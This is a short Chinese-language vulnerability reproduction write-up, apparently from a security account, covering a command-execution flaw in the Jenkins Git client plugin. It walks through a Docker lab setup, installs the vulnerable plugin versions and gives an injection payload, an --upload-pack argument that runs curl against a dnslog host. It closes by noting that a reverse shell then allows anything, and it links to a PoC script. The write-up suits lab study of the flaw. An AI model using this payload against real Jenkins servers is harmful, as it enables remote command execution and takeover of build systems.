0x00 簡介
Jenkins是一個開源軟件項目,是基於Java開發的一種持續集成工具,用於監控持續重復的工作,旨在提供一個開放易用的軟件平台,使軟件的持續集成變成可能。
0x01 漏洞概述
Git客戶端插件中的系統命令執行漏洞,這是以允許具有Job/Configure權限的攻擊者在Jenkins主服務器上執行任意系統命令作為Jenkins進程正在運行的OS用戶的方式實現命令執行。
0x02 影響范圍
Git client Plugin <= 2.8.4
0x03 環境搭建
docker search Jenkins
docker pull jenkins/jenkins
docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins
等待1~2分鍾后(啟動較慢),瀏覽器訪問ip:8080進入環境
docker exec -it 2d0c55ad015c /bin/bash
cat /var/jenkins_home/secrets/initialAdminPassword
輸入密碼后繼續下一步,安裝推薦的插件,這個安裝過程要花比較長的時間,15~20分鍾
繼續下一步,創建一個管理員
繼續下一步,就進入了Jenkins主頁面
系統管理 -- 管理用戶 -- 新建用戶,創建一個user賬戶
然后進入:系統管理 -- 全局安全配置,為user賬戶配置如下權限
下載漏洞版本的插件(推薦安裝的都是官網的最新版本)
git客戶端:http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi
git插件:http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi
然后進入:系統管理 -- 插件管理 -- 高級,將兩個插件上傳
都上傳完后點擊下圖的安裝完成后重啟Jenkins即可重新啟動服務
0x04 漏洞利用
重啟后,登錄user賬戶
新建任務 -- 流水線
確定后,點擊流水線
選擇以下選項,輸入Poc(使用dnslog檢測):
--upload-pack="`curl ysp8lf.dnslog.cn`"
查看dnslog,檢測到流量
反彈shell后便可以做你想做的事情了
Poc腳本:
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
參考鏈接:
https://mp.weixin.qq.com/s/Axx7KYm9irAQv7ZIO8autg
更多復現內容請關注公眾號Timeline Sec